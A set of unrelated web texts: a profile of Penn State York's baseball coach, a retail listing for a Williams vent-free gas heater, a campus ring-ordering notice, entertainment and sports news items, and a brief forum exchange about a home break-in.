Barkdoll, 53, brings more than 35 years of baseball experience to Penn State York, both as a player and coach. His most recent positions include coaching at the high school level since 1996 and manager of the York Township Baseball Club in the Susquehanna Baseball League since 2011. He also held a coaching position with the York Revolution professional baseball club of the Atlantic League of Professional Baseball from 2009-10. He also has served as an assistant in the girls' basketball program at Dallastown High School for many years and currently serves as the head junior varsity coach in the boys' basketball program.
As mentioned earlier, winning is always a goal for any coach, but Barkdoll wants to be sure that he provides student-athletes with the very best baseball program possible. Building on fundamentals, making sure players are conditioned physically and mentally, and treating others and those within the baseball family with respect are qualities Barkdoll works for with every player and other members of the team. He believes that by building on these qualities, goals will be reached and good things will happen.
"I want the players I coach to look back on their time in our program as something that was meaningful to them and to be something that they can be proud of, and that they too can say they are perhaps a little more well-rounded and maybe just a little more prepared to handle the ups and downs of life as a result of their participation," Barkdoll said.
A native of York, Pa., Barkdoll and his wife, Beth, are the proud parents of two daughters who are both married. He also is happy to share that he and his wife are now grandparents.
To learn more about the baseball program and other teams at Penn State York, visit the website at www.sports.yk.psu.edu. Individuals interested in talking about baseball at York should contact Barkdoll at 717-487-6734 or via email at firstname.lastname@example.com.


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Williams Vent-Free Gas Heater - Blue Flame - Natural Gas/Liquid Propane - 3096513.9
- with Glass Front and Built-in Thermostat - 30000 Btu - Wall or Floor Mounted
Product ID • 309651390000
- This Product is no longer available through Houseneeds.com. It has either been discontinued, made obsolete, or is no longer available for sale. Please select another product. Please click here to see Replacement Product.
Williams Furnace Company Blue Flame Vent Free Gas Heater 3096513.9 in 30,000 Btu. You can watch the warming blue flames from behind the safety glass, as the 30,000 Btu's of heat warm the room. The 3096513.9 features top mounted controls and a matchless pilot ignitor. This Vent Free Heater is wall mounted - but can be floor mounted with optional feet.
The Fuel Exchange System allows you to convert from Propane to Natural gas or Natural Gas to Propane Gas without a conversion kit.
Because no electricity is required for use, you are assured of keeping warm even during a power outage.
Distributes heat evenly throughout your room. The 3096513.9 heater's cheerful blue-flame is visible from behind the safety glass. Check local codes and ordinances for permitted uses. Ventless gas heaters are illegal to install in the state of California. Operating heater at elevations above 4,500 feet could result in nuisance outages.
Williams Furnace Company Blue Flame Vent Free Gas Heater must not be installed in a confined space unless provisions are provided for adequate combustion and ventilation air.
The National Fuel Gas Code, ANSI Z223.1 defines a confined space as a space whose volume is less than 50 cubic feet per 1,000 Btu of the aggregate input rating of all applicances installed in that space and an unconfined space of not less than 50 cubic feet per 1,000 Btu of the aggregate input rating of all applicances in that space. Rooms communicating directly with the space in which the appliances are installed, through openings not furnished with doors, are considered a part of the unconfined space.
If you have any questions about installation or what size you need - please refer to the Williams Furnace Company Blue Flame Vent Free Gas Heater install manual.
Manuals & Docs
Technical Specs
Williams Gas Ventless Heater 3096513.9 Techs and Specs
- Gas Type
- Natural Gas or Propane Gas
- Input Rating
- 30,000 Btu
- Thermal Efficiency
- 99.9%
- Thermostat
- Yes
- Floor Standing Mounts
- Optional
- Electricity
- None Required
- Matchless Piezo igniter
- Yes
- Safety Glass
- Yes
- Weight
- 34 lbs
- Length
- 26 5/8 inches
- Height
- 23 1/2 inches
- Depth
- 8 inches
- Gas Connection
- 1/2 inch NPT
- Recommended Minimum Clearance
- 8 inches from side of wall, floor or carpeting
- Recommended Minimum Clearance
- 36 inches from top of appliance to ceiling or other obstruction
- Recommended Minimum Clearance
- 2 inches from top of surface of carpeting or other combustable material
- Oxygen depletion Sensor (ODS)
- monitors room oxygen levels for safe operation
Info & Links


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Note: All in-person campus events have been canceled or postponed until further notice. COVID-19 Information
Tuesday, November 12, 20198:30AM - Tuesday, November 12, 20193:30PM
At Upchurch University Center, first floor
Organized by The Office of Alumni and Career Services
Announcing Fall Ring Days!
Balfour is on campus to assist you with ordering your class ring for the Ring Ceremony in the Spring. Representatives are set up in Upchurch University Center.
Orders can be placed up until February 1st for participation in the Ring Ceremony. If you would like to give a Longwood Ring as a holiday gift, the Office of Alumni and Career Services will, by request, print and mail a "gift placeholder" - a glossy photo of the ring with a nice invitation to the Ring Ceremony that can be wrapped and given as a gift. Anyone ordering a ring by Monday, December 2nd can request a gift placeholder so that it arrives before the holidays.


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Peter Segal (Get Smart) is reportedly in talks to direct Vin Diesel (The Fast and the Furious) in the action film, The Machine for MGM. At the moment, Segal is currently attached to Warner Bros. pictures Grudge Match and the adaptation of the manga, Bleach, so this more than likely won't be his next feature. Segal is producing Bleach and may end up directing the picture, while he is attached to direct the Grudge Match, about a boxing rematch between aging fighters. Diesel, meanwhile, is currently in post-production on The Untitled Chronicles of Riddick Sequel, which we can expect to see sometime early next year. Hit the jump for more information on his involvement in The Machine, as well as the picture's plot synopsis.
Variety reports that Segal is in negotiations to helm The Machine, an original script by writers/producers Thomas Lennon and Robert Ben Garant, both of Reno 911. Diesel would star as the titular Machine, a humanoid creation of the Pentagon meant to be the world's ultimate weapon. Twenty years after mysteriously abandoning the project, a child finds (and makes friends with) The Machine. So basically a combination of Diesel's Iron Giant and xXx? Or, since Segal is directing the Bleach adaptation, maybe a Trigun reference would be more accurate.
After the much-anticipated Riddick comes to theaters next year, Diesel will also be seen in two more franchise films. He'll next move into production on The Fast and the Furious 6, the follow-up to Justin Lin's Fast Five, which will feature the return of not only Diesel and the director, but also Dwayne Johnson. After that, Diesel may return for a sequel to his 2002 film, xXx. Tentatively titled, xXx: The Return of Xander Cage, the third film in the franchise (and only the second to feature Diesel) has the following logline:
Xander Cage is left for dead after an incident, though he secretly returns to action for a new, tough assignment with his handler Augustus Gibbons.
Whatever. If it means more Diesel screen time, I'm all for it.


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NEW YORK, Feb. 14 (UPI) -- John Tavares scored during a second-period rally and had the game-winner in a shootout Thursday, lifting the New York Islanders over the New York Rangers 4-3.
Trailing 2-0 after the first period, the Islanders roared back in the middle frame with three goals from Colin McDonald, Tavares and Brad Boyes to grab the lead.
The Rangers' Carl Hagelin, however, notched the equalizer midway through the second, and after a scoreless third period and overtime, the game went to shootout.
Islanders goalie Evgeni Nabokov made a pair of stops while Frans Nielsen and Tavares beat Martin Biron in the tiebreaker, elevating the Islanders to their first win at Madison Square Garden in nine visits.
Nabokov finished with 36 saves to claim the victory.
Dan Girardi and Marion Gaborik each scored and Biron turned aside 28-of-31 shots for the Rangers, whose three-game winning streak was snapped.


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Zimmerman strains hamstring, will undergo MRI
DENVER -- An RBI groundout from Ryan Zimmerman came at a price Tuesday.
The Nationals third baseman beat out a double-play throw to first on an infield grounder in the sixth inning, but as he made his final stride, he suffered a right hamstring strain.
Zimmerman will undergo an MRI on Wednesday morning, Nationals manager Matt Williams said after the team's 7-4 win over the Rockies.
"It's concerning," Williams said. "Any time you have to leave the game with a hamstring injury, its concerning."
Zimmerman appeared to grab at the hamstring just before he reached first base, awkwardly tumbling over the bag just ahead of the throw.
Williams and Nationals head athletic trainer Lee Kuntz hurried out to the fallen third baseman and walked with him as Zimmerman slowly limped off the field, careful not to apply too much weight to the injured leg.
Zimmerman's hustle to the bag resulted in a run, with Anthony Rendon crossing the plate to cut the Colorado lead to 4-3.
The Nationals tied the score later in the inning on a single by Wilson Ramos, but the immediate concern was with Zimmerman, who entered Tuesday's game hitting .286 with five home runs and 35 RBIs in 52 games.
Zimmerman, through a team official, politely declined to discuss the injury until Wednesday, when he figured to have more information on his prognosis. Williams said the third baseman was "pretty sore" after the game.
Zimmerman missed 44 games earlier this season with a fractured right thumb, and he has occasionally dealt with a troublesome right shoulder, which was operated on in 2012.
His teammates were left hoping for the best after Zimmerman's most recent injury.
"He's a guy just coming back from the [disabled list] and was getting his swing back, so you hate to see that," said Adam LaRoche, who hit a three-run home run in the seventh. "We'll cross our fingers here and hope it's nothing major."


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Phil Mickelson apologizes for going public with concerns over taxes
Golf superstar Phil Mickelson is feeling remorse after threatening to make "drastic changes†in his life, perhaps even retiring from the game, in response to seeing his taxes go up.
According to Fox News, Mickelson apologized late Monday for possibly upsetting or insulting anyone with his talk about increased rates.
"Finances and taxes are a personal matter and I should not have made my opinions on them public," Mickelson said in a statement, according to Fox News.
Mickelson added that he doesn't have "a definitive plan at this time†but is trying to make decisions that are best for him and his family.
The 42-year-old golfer said Sunday he would talk in more detail about his plans before his hometown Farmers Insurance Open, the San Diego-area event that starts Thursday at Torrey Pines.
"I'm not sure what exactly, you know, I'm going to do yet," Mickelson said after playing in a tournament in Palm Springs. "I'll probably talk about it more in depth next week. I'm not going to jump the gun, but there are going to be some. There are going to be some drastic changes for me because I happen to be in that zone that has been targeted both federally and by the state and, you know, it doesn't work for me right now. So I'm going to have to make some changes."
In November, California voters approved Proposition 30, the first statewide tax increase since 2004. Mickelson lives in Rancho Santa Fe.
"If you add up all the federal and you look at the disability and the unemployment and the Social Security and the state, my tax rate's 62, 63 percent," Mickelson said. "So I've got to make some decisions on what I'm going to do."
Last year, Mickelson flirted with becoming a part owner of the San Diego Padres, the baseball team that sold for $800 million in August. He was asked Sunday if there was a correlation between the tax increases and what happened to the Padres' deal.
"Absolutely," Mickelson said.
He later explained why he was waiting to provide more details.
"I'll probably be in the media center and I'll probably be a little more open to it because San Diego is where a lot more things, it's where I live, it's where the Padre thing was a possibility, and it's where my family is," Mickelson said. "And it just seems like a better fit than right here off of 18 on Palm Springs."


text:
Qwertyuiopasd wrote:Capellini wrote:An alarm system.
say he disabled it with say... his gun.
What ARE you talking about?
If someone was able to break into my house, get into my bedroom, go through all my possessions, and then stand over my bed before I even knew he was there, the only thing that would have helped me was not being ASLEEP.
What you want me to say is, I wish I had a gun. However, how exactly does a gun help in that situation? Is the robber standing over your bed going to give you a minute to go and get it?
Don't try and out snark me, its rude, and pointless.